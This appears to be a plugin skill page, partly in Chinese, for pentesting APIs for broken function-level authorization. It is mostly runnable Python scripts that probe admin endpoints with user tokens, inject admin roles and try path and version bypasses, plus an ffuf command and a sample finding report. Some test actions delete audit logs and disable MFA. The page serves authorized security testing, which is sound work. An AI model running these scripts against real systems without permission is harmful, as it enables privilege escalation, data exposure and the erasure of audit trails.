Tests APIs for Broken Function-Level Authorization (BFLA) by discovering admin endpoints via patterns and attempting unauthorized access with regular user credentials using Python requests. Matches OWASP API5:2023.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试普通用户是否可以通过直接 URL 访问管理员 API 端点
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities by discovering admin endpoints and attempting access with regular user credentials via HTTP manipulation.
Tests APIs for BFLA vulnerabilities by accessing admin endpoints with regular user credentials via HTTP manipulation and common path patterns.
Tests web apps for broken access control (OWASP A01) including privilege escalation, missing checks, and IDOR using Burp Authorize, ffuf, curl across user roles. For pentests and audits.
Share bugs, ideas, or general feedback.
不适用于:未获得书面授权的情况。BFLA 测试涉及尝试使用未授权凭据执行管理功能。
requests 库import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# 常见管理员端点模式
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# 管理功能模式(POST/PUT/DELETE 操作)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # 以管理员角色创建用户
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # 更改用户角色
("DELETE", "/api/v1/users/1002", None), # 删除其他用户
("POST", "/api/v1/settings", {"maintenance": True}), # 修改系统设置
("GET", "/api/v1/users?role=admin", None), # 列出管理员用户
("POST", "/api/v1/export/users", None), # 导出用户数据
("POST", "/api/v1/users/1002/disable", None), # 禁用用户账户
("POST", "/api/v1/users/1002/reset-password", None), # 强制密码重置
("PUT", "/api/v1/config/security", {"mfa_required": False}),# 禁用安全设置
("DELETE", "/api/v1/audit/logs", None), # 删除审计日志
]
# 第一阶段:发现可访问的管理员端点
print("第一阶段:管理员端点发现")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [可访问] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# 定义角色及其预期访问级别
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# 端点及预期最低角色要求
ROLE_MATRIX = [
# (方法, 端点, 请求体, 最低角色)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # 此角色不应有访问权限
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} 访问了 {method} {endpoint}(需要 {min_role})-> {resp.status_code}")
print(f"\nBFLA 发现总计:{len(results)}")
# 测试授权是否依赖于特定 HTTP 方法
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""测试授权是否仅适用于特定 HTTP 方法。"""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\n测试 {endpoint} 上基于方法的 BFLA:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "可访问" if resp.status_code not in (401, 403, 405) else "已阻止"
if status == "可访问":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# 测试管理员端点
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
# 测试向普通请求添加管理员参数是否能启用管理功能
privilege_escalation_tests = [
# 测试 1:通过自我更新添加角色参数
{
"name": "通过个人资料更新进行自我角色提升",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# 测试 2:添加 admin 标志
{
"name": "管理员标志注入",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# 测试 3:在请求体中修改用户 ID 以针对其他用户
{
"name": "请求体中的用户 ID 替换",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# 测试 4:通过带管理员参数的普通端点访问管理功能
{
"name": "隐藏的管理员参数",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# 测试 5:覆盖租户/组织
{
"name": "租户覆盖",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}:{resp.status_code}")
# 检查角色是否实际发生了变化
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" 利用后的当前角色:{current_role}")
# 测试较旧或替代的 API 版本是否缺少授权
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("测试 API 版本绕过:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [绕过] {full_path} -> {resp.status_code}")
# 测试基于路径的绕过技术
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # 大小写变体
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL 编码
"/api/v1/./admin/users", # 路径遍历
"/api/v1/admin/../admin/users", # 双重路径
"/api/v1/;/admin/users", # 分号插入
"/api/v1/admin/users.json", # 扩展名添加
"/api/v1/admin/users/", # 尾部斜杠
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [路径绕过] {path} -> {resp.status_code}")
| 术语 | 定义 |
|---|---|
| BFLA(函数级授权破坏) | OWASP API5:2023 - 普通用户可以在没有适当授权检查的情况下调用管理性或特权 API 功能 |
| 垂直权限提升(Vertical Privilege Escalation) | 访问被限制在更高权限级别的功能或数据,例如普通用户访问管理员端点 |
| RBAC(基于角色的访问控制) | 授权模型,权限分配给角色,角色分配给用户 |
| 函数级授权(Function-Level Authorization) | 验证已认证用户是否有权限调用特定 API 功能的访问控制检查 |
| 管理员端点(Admin Endpoint) | 仅供管理员用户使用的 API 端点,通常用于管理用户、设置、审计日志和系统配置 |
| 强制浏览(Forced Browsing) | 直接访问应用程序中未链接但存在于服务器上的 URL,绕过 UI 层访问限制 |
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"场景背景:某 SaaS 平台有用户、版主和管理员角色。API 服务于一个 React 前端,根据用户角色条件渲染管理员功能。后端 API 应独立执行相同的限制。
方法:
/admin/、/manage/ 和角色检查条件GET /api/v1/admin/users 返回 200 以及所有用户数据(BFLA - 读取)PUT /api/v1/admin/users/1002/role 接受角色更改(BFLA - 写入)DELETE /api/v1/audit/logs 返回 200(BFLA - 破坏性操作)GET /api/v1/admin/settings 返回 403,但 PUT /api/v1/admin/settings 返回 200DELETE /api/v1/admin/billing/api/v2/admin/users 没有任何授权(影子 API 版本)常见陷阱:
## 发现:普通用户可以访问管理员用户管理 API
**ID**: API-BFLA-001
**严重性**: 严重(CVSS 9.8)
**OWASP API**: API5:2023 - 函数级授权破坏
**受影响端点**:
- GET /api/v1/admin/users(读取所有用户)
- PUT /api/v1/admin/users/{id}/role(更改用户角色)
- DELETE /api/v1/audit/logs(删除审计跟踪)
- PUT /api/v1/admin/settings(修改系统配置)
**描述**:
API 未对管理端点执行函数级授权。普通用户可以直接调用
管理员 API 端点并执行管理功能,包括用户管理、角色更改、
系统配置和审计日志删除。前端根据角色隐藏管理功能,
但后端 API 未执行相同的限制。
**概念验证**:
1. 以普通用户身份认证:POST /api/v1/auth/login
2. 调用管理端点:GET /api/v1/admin/users -> 200 OK(返回全部 50,000 名用户)
3. 提升自身角色:PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. 删除审计日志:DELETE /api/v1/audit/logs -> 204 No Content
**影响**:
任何已认证用户都可以获取平台的完全管理员控制权,
访问所有用户数据、修改角色、更改系统配置,
并删除审计日志以掩盖踪迹。
**修复建议**:
1. 实施 RBAC 中间件,在执行任何管理功能前检查用户角色
2. 在路由/控制器层面(而非仅在前端)应用授权
3. 使用基于装饰器/注解的授权(例如 @RequireRole("admin"))
4. 向 CI/CD 管道添加自动化 BFLA 测试,对每个角色测试每个端点
5. 实施管理员用户无法删除的不可变审计日志